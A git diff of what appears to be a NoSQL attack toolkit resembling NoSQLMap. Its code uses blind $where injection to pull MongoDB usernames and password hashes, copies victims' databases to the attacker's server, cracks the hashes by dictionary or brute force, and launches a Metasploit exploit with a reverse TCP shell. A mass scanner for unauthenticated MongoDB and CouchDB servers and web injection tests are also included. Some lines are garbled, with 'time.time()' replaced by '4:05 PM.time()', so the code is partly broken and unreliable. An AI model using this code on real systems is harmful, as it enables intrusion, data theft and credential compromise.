urllib2.Request(usrUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) - - if lenUri == baseLen: - username = username + chars[charCounterUsr] - #print username - rightCharsUsr += 1 - charCounterUsr = 0 - - else: - charCounterUsr += 1 - - retrUsers += 1 - users.append(username) - #reinitialize all variables and get ready to do it again - #print str(retrUsers) - #print str(users) - charCountUsr = False - rightCharsUsr = 0 - usrChars = 0 - username = "" - - while rightCharsHash < 32: #Hash length is static - hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } var dum='a" + "&") - - req = urllib2.Request(hashUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) - - if lenUri == baseLen: - pwdHash = pwdHash + chars[charCounterHash] - #print pwdHash - rightCharsHash += 1 - charCounterHash = 0 - - else: - charCounterHash += 1 - - hashes.append(pwdHash) - print "Got user:hash " + users[0] + ":" + hashes[0] - #reinitialize all variables and get ready to do it again - charCounterHash = 0 - rightCharsHash = 0 - pwdHash = "" - else: - while charCountUsr == False: - #different query to get the first user vs. others - usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") - - req = urllib2.Request(usrUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) - - if lenUri == baseLen: - #Got the right number of characters - charCountUsr = True - - else: - usrChars += 1 - - while rightCharsUsr < usrChars: - usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&") - - req = urllib2.Request(usrUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) - - if lenUri == baseLen: - username = username + chars[charCounterUsr] - #print username - rightCharsUsr += 1 - charCounterUsr = 0 - - else: - charCounterUsr += 1 - - retrUsers += 1 - #reinitialize all variables and get ready to do it again - - charCountUsr = False - rightCharsUsr = 0 - usrChars = 0 - - while rightCharsHash < 32: #Hash length is static - hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } vardum='a" + "&") - - req = urllib2.Request(hashUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) - - if lenUri == baseLen: - pwdHash = pwdHash + chars[charCounterHash] - rightCharsHash += 1 - charCounterHash = 0 - - else: - charCounterHash += 1 - - users.append(username) - hashes.append(pwdHash) - print "Got user:hash " + users[retrUsers-1] + ":" + hashes[retrUsers-1] - #reinitialize all variables and get ready to do it again - username = "" - charCounterHash = 0 - rightCharsHash = 0 - pwdHash = "" - crackHash = raw_input("Crack recovered hashes (y/n)?: ") - - while crackHash in yes_tag: - menuItem = 1 - for user in users: - print str(menuItem) + "-" + user - menuItem +=1 - - userIndex = raw_input("Select user hash to crack: ") - nsmmongo.passCrack(users[int(userIndex)-1],hashes[int(userIndex)-1]) - - crackHash = raw_input("Crack another hash (y/n)?") - raw_input("Press enter to continue...") - return - - -def signal_handler(signal, frame): - print "\n" - print "CTRL+C detected. Exiting." - sys.exit() - -if __name__ == '__main__': - main() diff --git a/nsmmongo.py b/nsmmongo.py index dfac3f9..638c97d 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -28,386 +28,386 @@ no_tag = ['n', 'N'] def netAttacks(target, dbPort, myIP, myPort): - print "DB Access attacks (MongoDB)" - print "=================" - mgtOpen = False - webOpen = False - mgtSelect = True - #This is a global for future use with other modules; may change - global dbList - dbList = [] - - print "Checking to see if credentials are needed..." - needCreds = mongoScan(target,dbPort,False) - - if needCreds[0] == 0: - conn = pymongo.MongoClient(target,dbPort) - print "Successful access with no credentials!" - mgtOpen = True - - elif needCreds[0] == 1: - print "Login required!" - srvUser = raw_input("Enter server username: ") - srvPass = raw_input("Enter server password: ") - uri = "mongodb://" + srvUser + ":" + srvPass + "@" + target +"/" - - try: - conn = pymongo.MongoClient(target) - print "MongoDB authenticated on " + target + ":27017!" - mgtOpen = True - except: - raw_input("Failed to authenticate. Press enter to continue...") - return - - elif needCreds[0] == 2: - conn = pymongo.MongoClient(target,dbPort) - print "Access check failure. Testing will continue but will be unreliable." - mgtOpen = True - - elif needCreds[0] == 3: - print "Couldn't connect to Mongo server." - return - - - mgtUrl = "http://" + target + ":28017" - #Future rev: Add web management interface parsing - - try: - mgtRespCode = urllib.urlopen(mgtUrl).getcode() - if mgtRespCode == 200: - print "MongoDB web management open at " + mgtUrl + ". No authentication required!" - testRest = raw_input("Start tests for REST Interface (y/n)? ") - - if testRest in yes_tag: - restUrl = mgtUrl + "/listDatabases?text=1" - restResp = urllib.urlopen(restUrl).read() - restOn = restResp.find('REST is not enabled.') - - if restOn == -1: - print "REST interface enabled!" - dbs = json.loads(restResp) - menuItem = 1 - print "List of databases from REST API:" - - for x in range(0,len(dbs['databases'])): - dbTemp= dbs['databases'][x]['name'] - print str(menuItem) + "-" + dbTemp - menuItem += 1 - else: - print "REST interface not enabled." - print "\n" - - except Exception, e: - print "MongoDB web management closed or requires authentication." - - if mgtOpen == True: - - while mgtSelect: - print "\n" - print "1-Get Server Version and Platform" - print "2-Enumerate Databases/Collections/Users" - print "3-Check for GridFS" - print "4-Clone a Database" - print "5-Launch Metasploit Exploit for Mongo < 2.2.4" - print "6-Return to Main Menu" - attack = raw_input("Select an attack: ") - - if attack == "1": - print "\n" - getPlatInfo(conn) - - if attack == "2": - print "\n" - enumDbs(conn) - - if attack == "3": - print "\n" - enumGrid(conn) - - if attack == "4": - if myIP == "Not Set": - print "Target database not set!" - else: - print "\n" - stealDBs(myIP,target,conn) - - if attack == "5": - print "\n" - msfLaunch() - - if attack == "6": - return + print "DB Access attacks (MongoDB)" + print "=================" + mgtOpen = False + webOpen = False + mgtSelect = True + #This is a global for future use with other modules; may change + global dbList + dbList = [] + + print "Checking to see if credentials are needed..." + needCreds = mongoScan(target,dbPort,False) + + if needCreds[0] == 0: + conn = pymongo.MongoClient(target,dbPort) + print "Successful access with no credentials!" + mgtOpen = True + + elif needCreds[0] == 1: + print "Login required!" + srvUser = raw_input("Enter server username: ") + srvPass = raw_input("Enter server password: ") + uri = "mongodb://" + srvUser + ":" + srvPass + "@" + target +"/" + + try: + conn = pymongo.MongoClient(target) + print "MongoDB authenticated on " + target + ":27017!" + mgtOpen = True + except: + raw_input("Failed to authenticate. Press enter to continue...") + return + + elif needCreds[0] == 2: + conn = pymongo.MongoClient(target,dbPort) + print "Access check failure. Testing will continue but will be unreliable." + mgtOpen = True + + elif needCreds[0] == 3: + print "Couldn't connect to Mongo server." + return + + + mgtUrl = "http://" + target + ":28017" + #Future rev: Add web management interface parsing + + try: + mgtRespCode = urllib.urlopen(mgtUrl).getcode() + if mgtRespCode == 200: + print "MongoDB web management open at " + mgtUrl + ". No authentication required!" + testRest = raw_input("Start tests for REST Interface (y/n)? ") + + if testRest in yes_tag: + restUrl = mgtUrl + "/listDatabases?text=1" + restResp = urllib.urlopen(restUrl).read() + restOn = restResp.find('REST is not enabled.') + + if restOn == -1: + print "REST interface enabled!" + dbs = json.loads(restResp) + menuItem = 1 + print "List of databases from REST API:" + + for x in range(0,len(dbs['databases'])): + dbTemp= dbs['databases'][x]['name'] + print str(menuItem) + "-" + dbTemp + menuItem += 1 + else: + print "REST interface not enabled." + print "\n" + + except Exception, e: + print "MongoDB web management closed or requires authentication." + + if mgtOpen == True: + + while mgtSelect: + print "\n" + print "1-Get Server Version and Platform" + print "2-Enumerate Databases/Collections/Users" + print "3-Check for GridFS" + print "4-Clone a Database" + print "5-Launch Metasploit Exploit for Mongo < 2.2.4" + print "6-Return to Main Menu" + attack = raw_input("Select an attack: ") + + if attack == "1": + print "\n" + getPlatInfo(conn) + + if attack == "2": + print "\n" + enumDbs(conn) + + if attack == "3": + print "\n" + enumGrid(conn) + + if attack == "4": + if myIP == "Not Set": + print "Target database not set!" + else: + print "\n" + stealDBs(myIP,target,conn) + + if attack == "5": + print "\n" + msfLaunch() + + if attack == "6": + return def stealDBs(myDB,victim,mongoConn): - dbList = mongoConn.database_names() - dbLoot = True - menuItem = 1 + dbList = mongoConn.database_names() + dbLoot = True + menuItem = 1 - if len(dbList) == 0: - print "Can't get a list of databases to steal. The provided credentials may not have rights." - return + if len(dbList) == 0: + print "Can't get a list of databases to steal. The provided credentials may not have rights." + return - for dbName in dbList: - print str(menuItem) + "-" + dbName - menuItem += 1 + for dbName in dbList: + print str(menuItem) + "-" + dbName + menuItem += 1 - while dbLoot: - dbLoot = raw_input("Select a database to steal: ") + while dbLoot: + dbLoot = raw_input("Select a database to steal: ") - if int(dbLoot) >= menuItem: - print "Invalid selection." + if int(dbLoot) >= menuItem: + print "Invalid selection." - else: - break + else: + break - try: - #Mongo can only pull, not push, connect to my instance and pull from verified open remote instance. - dbNeedCreds = raw_input("Does this database require credentials (y/n)? ") - myDBConn = pymongo.MongoClient(myDB, 27017) - if dbNeedCreds in no_tag: + try: + #Mongo can only pull, not push, connect to my instance and pull from verified open remote instance. + dbNeedCreds = raw_input("Does this database require credentials (y/n)? ") + myDBConn = pymongo.MongoClient(myDB, 27017) + if dbNeedCreds in no_tag: - myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim) + myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim) - elif dbNeedCreds in yes_tag: - dbUser = raw_input("Enter database username: ") - dbPass = raw_input("Enter database password: ") - myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim,dbUser,dbPass) + elif dbNeedCreds in yes_tag: + dbUser = raw_input("Enter database username: ") + dbPass = raw_input("Enter database password: ") + myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim,dbUser,dbPass) - else: - raw_input("Invalid Selection. Press enter to continue.") - stealDBs(myDB,victim,mongoConn) + else: + raw_input("Invalid Selection. Press enter to continue.") + stealDBs(myDB,victim,mongoConn) - cloneAnother = raw_input("Database cloned. Copy another (y/n)? ") + cloneAnother = raw_input("Database cloned. Copy another (y/n)? ") - if cloneAnother in yes_tag: - stealDBs(myDB,victim,mongoConn) + if cloneAnother in yes_tag: + stealDBs(myDB,victim,mongoConn) - else: - return + else: + return - except Exception, e: - if str(e).find('text search not enabled') != -1: - raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...") - return - elif str(e).find('Network is unreachable') != -1: - raw_input("Are you sure your network is unreachable? Press enter to return..") - else: - raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...") - return + except Exception, e: + if str(e).find('text search not enabled') != -1: + raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...") + return + elif str(e).find('Network is unreachable') != -1: + raw_input("Are you sure your network is unreachable? Press enter to return..") + else: + raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...") + return def passCrack (user, encPass): - select = True - print "Select password cracking method: " - print "1-Dictionary Attack" - print "2-Brute Force" - print "3-Exit" + select = True + print "Select password cracking method: " + print "1-Dictionary Attack" + print "2-Brute Force" + print "3-Exit" - while select: - select = raw_input("Selection: ") - if select == "1": - select = False - dict_pass(user,encPass) + while select: + select = raw_input("Selection: ") + if select == "1": + select = False + dict_pass(user,encPass) - elif select == "2": - select = False - brute_pass(user,encPass) + elif select == "2": + select = False + brute_pass(user,encPass) - elif select == "3": - return - return + elif select == "3": + return + return def gen_pass(user, passw, hashVal): - if md5(user + ":mongo:" + str(passw)).hexdigest() == hashVal: - print "Found - " + user + ":" + passw - return True - else: - return False + if md5(user + ":mongo:" + str(passw)).hexdigest() == hashVal: + print "Found - " + user + ":" + passw + return True + else: + return False def dict_pass(user,key): - loadCheck = False - - while loadCheck == False: - dictionary = raw_input("Enter path to password dictionary: ") - try: - with open (dictionary) as f: - passList = f.readlines() - loadCheck = True - except: - print " Couldn't load file." - - print "Running dictionary attack..." - for passGuess in passList: - temp = passGuess.split("\n")[0] - gotIt = gen_pass (user, temp, key) - - if gotIt == True: - break - return + loadCheck = False + + while loadCheck == False: + dictionary = raw_input("Enter path to password dictionary: ") + try: + with open (dictionary) as f: + passList = f.readlines() + loadCheck = True + except: + print " Couldn't load file." + + print "Running dictionary attack..." + for passGuess in passList: + temp = passGuess.split("\n")[0] + gotIt = gen_pass (user, temp, key) + + if gotIt == True: + break + return def genBrute(chars, maxLen): return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(chars, repeat=i) for i in range(1, maxLen + 1))) def brute_pass(user,key): - charSel = True - print "\n" - maxLen = raw_input("Enter the maximum password length to attempt: ") - print "1-Lower case letters" - print "2-Upper case letters" - print "3-Upper + lower case letters" - print "4-Numbers only" - print "5-Alphanumeric (upper and lower case)" - print "6-Alphanumeric + special characters" - charSel = raw_input("\nSelect character set to use:") - - if charSel == "1": - chainSet = string.ascii_lowercase - - elif charSel == "2": - chainSet= string.ascii_uppercase - - elif charSel == "3": - chainSet = string.ascii_letters - - elif charSel == "4": - chainSet = string.digits - - elif charSel == "5": - chainSet = string.ascii_letters + string.digits - - elif charSel == "6": - chainSet = string.ascii_letters + string.digits + "!@#$%^&*()-_+={}[]|~`':;<>,.?/" - count = 0 - print "\n", - for attempt in genBrute (chainSet,int(maxLen)): - print "\rCombinations tested: " + str(count) + "\r" - count += 1 - if md5(user + ":mongo:" + str(attempt)).hexdigest() == key: - print "\nFound - " + user + ":" + attempt - break - return + charSel = True + print "\n" + maxLen = raw_input("Enter the maximum password length to attempt: ") + print "1-Lower case letters" + print "2-Upper case letters" + print "3-Upper + lower case letters" + print "4-Numbers only" + print "5-Alphanumeric (upper and lower case)" + print "6-Alphanumeric + special characters" + charSel = raw_input("\nSelect character set to use:") + + if charSel == "1": + chainSet = string.ascii_lowercase + + elif charSel == "2": + chainSet= string.ascii_uppercase + + elif charSel == "3": + chainSet = string.ascii_letters + + elif charSel == "4": + chainSet = string.digits + + elif charSel == "5": + chainSet = string.ascii_letters + string.digits + + elif charSel == "6": + chainSet = string.ascii_letters + string.digits + "!@#$%^&*()-_+={}[]|~`':;<>,.?/" + count = 0 + print "\n", + for attempt in genBrute (chainSet,int(maxLen)): + print "\rCombinations tested: " + str(count) + "\r" + count += 1 + if md5(user + ":mongo:" + str(attempt)).hexdigest() == key: + print "\nFound - " + user + ":" + attempt + break + return def getPlatInfo (mongoConn): - print "Server Info:" - print "MongoDB Version: " + mongoConn.server_info()['version'] - print "Debugs enabled : " + str(mongoConn.server_info()['debug']) - print "Platform: " + str(mongoConn.server_info()['bits']) + " bit" - print "\n" - return + print "Server Info:" + print "MongoDB Version: " + mongoConn.server_info()['version'] + print "Debugs enabled : " + str(mongoConn.server_info()['debug']) + print "Platform: " + str(mongoConn.server_info()['bits']) + " bit" + print "\n" + return def enumDbs (mongoConn): - try: - print "List of databases:" - print "\n".join(mongoConn.database_names()) - print "\n" + try: + print "List of databases:" + print "\n".join(mongoConn.database_names()) + print "\n" - except: - print "Error: Couldn't list databases. The provided credentials may not have rights." + except: + print "Error: Couldn't list databases. The provided credentials may not have rights." - print "List of collections:" + print "List of collections:" - try: - for dbItem in mongoConn.database_names(): - db = mongoConn[dbItem] - print dbItem + ":" - print "\n".join(db.collection_names()) - print "\n" + try: + for dbItem in mongoConn.database_names(): + db = mongoConn[dbItem] + print dbItem + ":" + print "\n".join(db.collection_names()) + print "\n" - if 'system.users' in db.collection_names(): - users = list(db.system.users.find()) - print "Database Users and Password Hashes:" + if 'system.users' in db.collection_names(): + users = list(db.system.users.find()) + print "Database Users and Password Hashes:" - for x in range (0,len(users)): - print "Username: " + users[x]['user'] - print "Hash: " + users[x]['pwd'] - print "\n" - crack = raw_input("Crack this hash (y/n)? ") + for x in range (0,len(users)): + print "Username: " + users[x]['user'] + print "Hash: " + users[x]['pwd'] + print "\n" + crack = raw_input("Crack this hash (y/n)? ") - if crack in yes_tag: - passCrack(users[x]['user'],users[x]['pwd']) + if crack in yes_tag: + passCrack(users[x]['user'],users[x]['pwd']) - except Exception, e: - print e - print "Error: Couldn't list collections. The provided credentials may not have rights." + except Exception, e: + print e + print "Error: Couldn't list collections. The provided credentials may not have rights." - print "\n" - return + print "\n" + return def msfLaunch(): - try: - proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True) + try: + proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True) - except: - print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined." - raw_input("Press enter to continue...") - return + except: + print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined." + raw_input("Press enter to continue...") + return def enumGrid (mongoConn): - try: - for dbItem in mongoConn.database_names(): - try: - db = mongoConn[dbItem] - fs = gridfs.GridFS(db) - files = fs.list() - print "GridFS enabled on database " + str(dbItem) - print " list of files:" - print "\n".join(files) + try: + for dbItem in mongoConn.database_names(): + try: + db = mongoConn[dbItem] + fs = gridfs.GridFS(db) + files = fs.list() + print "GridFS enabled on database " + str(dbItem) + print " list of files:" + print "\n".join(files) - except: - print "GridFS not enabled on " + str(dbItem) + "." + except: + print "GridFS not enabled on " + str(dbItem) + "." - except: - print "Error: Couldn't enumerate GridFS. The provided credentials may not have rights." + except: + print "Error: Couldn't enumerate GridFS. The provided credentials may not have rights." - return + return def mongoScan(ip,port,pingIt): - if pingIt == True: - test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null") - - if test == 0: - try: - conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000) - - try: - dbList = conn.database_names() - dbVer = conn.server_info()['version'] - conn.close() - return [0,dbVer] - - except: - if str(sys.exc_info()).find('need to login') != -1: - conn.close() - return [1,None] - - else: - conn.close() - return [2,None] - - except: - return [3,None] - - else: - return [4,None] - else: - try: - conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000) - - try: - dbList = conn.database_names() - dbVer = conn.server_info()['version'] - conn.close() - return [0,dbVer] - - except Exception, e: - if str(e).find('need to login') != -1: - conn.close() - return [1,None] - - else: - conn.close() - return [2,None] - - except: - return [3,None] + if pingIt == True: + test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null") + + if test == 0: + try: + conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000) + + try: + dbList = conn.database_names() + dbVer = conn.server_info()['version'] + conn.close() + return [0,dbVer] + + except: + if str(sys.exc_info()).find('need to login') != -1: + conn.close() + return [1,None] + + else: + conn.close() + return [2,None] + + except: + return [3,None] + + else: + return [4,None] + else: + try: + conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000) + + try: + dbList = conn.database_names() + dbVer = conn.server_info()['version'] + conn.close() + return [0,dbVer] + + except Exception, e: + if str(e).find('need to login') != -1: + conn.close() + return [1,None] + + else: + conn.close() + return [2,None] + + except: + return [3,None] diff --git a/nsmscan.py b/nsmscan.py new file mode 100644 index 0000000..a5f05c6 --- /dev/null +++ b/nsmscan.py @@ -0,0 +1,148 @@ +import ipcalc +import nsmmongo +import nsmcouch + +def massScan(platform): + yes_tag = ['y', 'Y'] + no_tag = ['n', 'N'] + optCheck = True + loadCheck = False + ping = False + success = [] + versions = [] + creds = [] + commError = [] + ipList = [] + resultSet = [] + + print "\n" + print platform + " Default Access Scanner" + print "==============================" + print "1-Scan a subnet for default " + platform + " access" + print "2-Loads IPs to scan from a file" + print "3-Enable/disable host pings before attempting connection" + print "x-Return to main menu" + + while optCheck: + loadOpt = raw_input("Select an option: ") + + if loadOpt == "1": + subnet = raw_input("Enter subnet to scan: ") + + try: + for ip in ipcalc.Network(subnet): + ipList.append(str(ip)) + optCheck = False + except: + raw_input("Not a valid subnet. Press enter to return to main menu.") + return + + if loadOpt == "2": + while loadCheck == False: + loadPath = raw_input("Enter file name with IP list to scan: ") + + try: + with open (loadPath) as f: + ipList = f.readlines() + loadCheck = True + optCheck = False + except: + print "Couldn't open file." + + if loadOpt == "3": + if ping == False: + ping = True + print "Scan will ping host before connection attempt." + + elif ping == True: + ping = False + print "Scan will not ping host before connection attempt." + + if loadOpt == "x": + return + + + print "\n" + for target in ipList: + + if platform == "MongoDB": + result = nsmmongo.mongoScan(target.rstrip(),27017,ping) + + elif platform == "CouchDB": + result = nsmcouch.couchScan(target.rstrip(),5984,ping) + + if result[0] == 0: + print "Successful default access on " + target.rstrip() + "(" + platform + " Version: " + result[1] + ")." + success.append(target.rstrip()) + versions.append(result[1]) + + elif result[0] == 1: + print platform + " running but credentials required on " + target.rstrip() + "." + creds.append(target.rstrip()) #Future use + + elif result[0] == 2: + print "Successful " + platform + " connection to " + target.rstrip() + " but error executing command." + commError.append(target.rstrip()) #Future use + + elif result[0] == 3: + print "Couldn't connect to " + target.rstrip() + "." + + elif result[0] == 4: + print target.rstrip() + " didn't respond to ping." + + + print "\n\n" + select = True + while select: + saveEm = raw_input("Save scan results to CSV? (y/n):") + + if saveEm in yes_tag: + savePath = raw_input("Enter file name to save: ") + outCounter = 0 + try: + fo = open(savePath, "wb") + fo.write("IP Address," + platform + " Version\n") + + for server in success: + fo.write(server + "," + versions[outCounter] + "\n" ) + outCounter += 1 + + fo.close() + print "Scan results saved!" + select = False + + except: + print "Couldn't save scan results." + + elif saveEm in no_tag: + select = False + + else: + select = True + + print "Discovered " + platform + " Servers with No Auth:" + print "IP" + " " + "Version" + + outCounter= 1 + + for server in success: + print str(outCounter) + "-" + server + " " + versions[outCounter - 1] + outCounter += 1 + + select = True + print "\n" + while select: + select = raw_input("Select a NoSQLMap target or press x to exit: ") + + if select == "x" or select == "X": + return None + + elif select.isdigit() == True and int(select) <= outCounter: + victim = success[int(select) - 1] + resultSet[0] = True + resultSet[1] = victim + raw_input("New target set! Press enter to return to the main menu.") + return resultSet + + else: + raw_input("Invalid selection.") diff --git a/nsmweb.py b/nsmweb.py new file mode 100644 index 0000000..2881f82 --- /dev/null +++ b/nsmweb.py @@ -0,0 +1,1170 @@ +import httplib2 +import urllib +import urllib2 +import json +import datetime +import itertools +import re + +def getApps(): + print "Web App Attacks (GET)" + print "===============" + paramName = [] + global testNum + testNum = 1 + paramValue = [] + global vulnAddrs + vulnAddrs = [] + global possAddrs + possAddrs = [] + timeVulnsStr = [] + timeVulnsInt = [] + appUp = False + strTbAttack = False + intTbAttack = False + trueStr = False + trueInt = False + global lt24 + lt24 = False + global str24 + str24 = False + global int24 + int24 = False + global requestHeaders + + #Verify app is working. + print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..." + + if https == "OFF": + appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri) + + elif https == "ON": + appURL = "https://" + str(victim) + ":" + str(webPort) + str(uri) + try: + req = urllib2.Request(appURL, None, requestHeaders) + appRespCode = urllib2.urlopen(req).getcode() + if appRespCode == 200: + normLength = int(len(urllib2.urlopen(req).read())) + timeReq = urllib2.urlopen(req) + start = 4:05 PM.time() + page = timeReq.read() + end = 4:05 PM.time() + timeReq.close() + timeBase = round((end - start), 3) + + if verb == "ON": + print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n" + + else: + print "App is up!" + appUp = True + + else: + print "Got " + str(appRespCode) + "from the app, check your options." + except Exception,e: + print e + print "Looks like the server didn't respond. Check your options." + + if appUp == True: + + injectSize = raw_input("Baseline test-Enter random string size: ") + injectString = randInjString(int(injectSize)) + print "Using " + injectString + " for injection testing.\n" + + #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. + #Add error handling for Non-200 HTTP response codes if random strings freaks out the app. + if "?" not in appURL: + print "No URI parameters provided for GET request...Check your options.\n" + raw_input("Press enter to continue...") + return() + + randomUri = buildUri(appURL,injectString) + print "URI : " + randomUri + req = urllib2.Request(randomUri, None, requestHeaders) + + if verb == "ON": + print "Checking random injected parameter HTTP response size using " + randomUri +"...\n" + else: + print "Sending random parameter value..." + + randLength = int(len(urllib2.urlopen(req).read())) + print "Got response length of " + str(randLength) + "." + randNormDelta = abs(normLength - randLength) + + if randNormDelta == 0: + print "No change in response size injecting a random parameter..\n" + else: + print "Random value variance: " + str(randNormDelta) + "\n" + + if verb == "ON": + print "Testing Mongo PHP not equals associative array injection using " + uriArray[1] +"..." + else: + print "Test 1: PHP/ExpressJS != associative array injection" + + #Test for errors returned by injection + req = urllib2.Request(uriArray[1], None, requestHeaders) + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + else: + testNum += 1 + + print "\n" + if verb == "ON": + print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n" + print "Injecting " + uriArray[2] + else: + print "Test 2: $where injection (string escape)" + + req = urllib2.Request(uriArray[2], None, requestHeaders) + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + + + if errorCheck == False: + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + + else: + testNum += 1 + + print "\n" + if verb == "ON": + print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n" + print "Injecting " + uriArray[3] + else: + print "Test 3: $where injection (integer escape)" + + req = urllib2.Request(uriArray[3], None, requestHeaders) + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + + + if errorCheck == False: + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum +=1 + + else: + testNum +=1 + + #Start a single record attack in case the app expects only one record back + print "\n" + if verb == "ON": + print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n" + print " Injecting " + uriArray[4] + else: + print "Test 4: $where injection string escape (single record)" + + req = urllib2.Request(uriArray[4], None, requestHeaders) + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + else: + testNum += 1 + + print "\n" + if verb == "ON": + print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n" + print " Injecting " + uriArray[5] + else: + print "Test 5: $where injection integer escape (single record)" + + req = urllib2.Request(uriArray[5], None, requestHeaders) + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum +=1 + + else: + testNum += 1 + + print "\n" + if verb == "ON": + print "Testing Mongo this not equals string escape attack for all records..." + print " Injecting " + uriArray[6] + else: + print "Test 6: This != injection (string escape)" + + req = urllib2.Request(uriArray[6], None, requestHeaders) + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + else: + testNum += 1 + + print "\n" + if verb == "ON": + print "Testing Mongo this not equals integer escape attack for all records..." + print " Injecting " + uriArray[7] + else: + print "Test 7: This != injection (integer escape)" + + req = urllib2.Request(uriArray[7], None, requestHeaders) + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + else: + testNum += 1 + print "\n" + + if verb == "ON": + print "Testing PHP/ExpressJS > undefined attack for all records..." + print "Injecting " + uriArray[8] + + else: + print "Test 8: PHP/ExpressJS > Undefined Injection" + + req = urllib2.Request(uriArray[8], None, requestHeaders) + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + + doTimeAttack = raw_input("Start timing based tests (y/n)? ") + + if doTimeAttack in yes_tag: + print "Starting Javascript string escape time based injection..." + req = urllib2.Request(uriArray[18], None, requestHeaders) + start = 4:05 PM.time() + strTimeInj = urllib2.urlopen(req) + page = strTimeInj.read() + end = 4:05 PM.time() + strTimeInj.close() + #print str(end) + #print str(start) + strTimeDelta = (int(round((end - start), 3)) - timeBase) + #print str(strTimeDelta) + if strTimeDelta > 25: + print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible." + strTbAttack = True + + else: + print "HTTP load time variance was only " + str(strTimeDelta) + " seconds. Injection probably didn't work." + strTbAttack = False + + print "Starting Javascript integer escape time based injection..." + req = urllib2.Request(uriArray[9], None, requestHeaders) + start = 4:05 PM.time() + intTimeInj = urllib2.urlopen(req) + page = intTimeInj.read() + end = 4:05 PM.time() + intTimeInj.close() + #print str(end) + #print str(start) + intTimeDelta = (int(round((end - start), 3)) - timeBase) + #print str(strTimeDelta) + if intTimeDelta > 25: + print "HTTP load time variance was " + str(intTimeDelta) +" seconds! Injection possible." + intTbAttack = True + + else: + print "HTTP load time variance was only " + str(intTimeDelta) + " seconds. Injection probably didn't work." + intTbAttack = False + + if lt24 == True: + bfInfo = raw_input("MongoDB < 2.4 detected. Start brute forcing database info (y/n)? ") + + if bfInfo in yes_tag: + getDBInfo() + + + print "\n" + print "Vulnerable URLs:" + print "\n".join(vulnAddrs) + print "\n" + print "Possibly vulnerable URLs:" + print"\n".join(possAddrs) + print "\n" + print "Timing 